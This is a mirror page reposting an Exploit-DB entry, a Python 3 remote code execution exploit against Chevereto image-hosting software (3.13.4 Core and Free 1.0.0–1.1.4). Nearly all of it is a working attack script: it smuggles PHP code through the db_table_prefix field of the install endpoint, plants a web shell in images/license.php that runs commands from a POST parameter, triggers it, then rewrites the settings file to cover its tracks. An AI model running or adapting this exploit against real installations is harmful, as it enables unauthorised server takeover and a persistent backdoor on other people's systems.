Chevereto 3.13.4 Core – Remote Code Execution - 体验盒子

作者： Jinny Ramsmark

日期： 2020-01-13

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/47903/

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# Exploit Title:Chevereto 3.13.4 Core - Remote Code Execution

# Date: 2020-01-11

# Exploit Author: Jinny Ramsmark

# Vendor Homepage:https://chevereto.com/

# Software Link: https://github.com/Chevereto/Chevereto-Free/releases

# Version:1.0.0 Free - 1.1.4 Free, <= 3.13.4 Core

# Tested on: Ubuntu 19.10, PHP 7.3, Apache/2.4.41

# CVE : N/A

from urllib import request, parse

from time import sleep

#Python3

#Needs to have a valid database server, database and user to exploit

#1.0.0 Free version confirmed vulnerable

#1.1.4 Free version confirmed vulnerable

#3.13.4 Core version confirmed vulnerable

def main():

target = 'http://cheveretoinstallation/'

cookie = 'PHPSESSID=89efba681a8bb81d32cd10d3170baf6e'

db_host = 'ip_to_valid_mysql'

db_name = 'valid_db'

db_user = 'valid_user'

db_pass = 'valid_pass'

db_table_prefix = 'chv_'

inject = "';if(strpos(file_get_contents('images/license.php'), '$_POST[\"ccc\"]') === false){file_put_contents('images/license.php','if(isset($_POST[\"ccc\"])){;system($_POST[\"ccc\"]);}');}//"

#Clean data for when we want to clean up the settings file

params = {'db_host': db_host, 'db_name': db_name, 'db_user': db_user, 'db_pass': db_pass, 'db_table_prefix': db_table_prefix}

data = parse.urlencode(params).encode()

#Settings data with injected code

params['db_table_prefix'] += inject

dataInject = parse.urlencode(params).encode()

#Do inject

doPostRequest(target + 'install', dataInject, cookie)

sleep(1)

#Request index page to run the injected code

doRequest(target)

sleep(1)

#Do a clean request to clean up the settings.php file

doPostRequest(target + 'install', data, cookie)

def doPostRequest(target, data, cookie):

req = request.Request(target, data=data)

req.add_header('Cookie', cookie)

resp = request.urlopen(req)

def doRequest(target):

req = request.Request(target)

resp = request.urlopen(req)

if __name__ == '__main__':

main()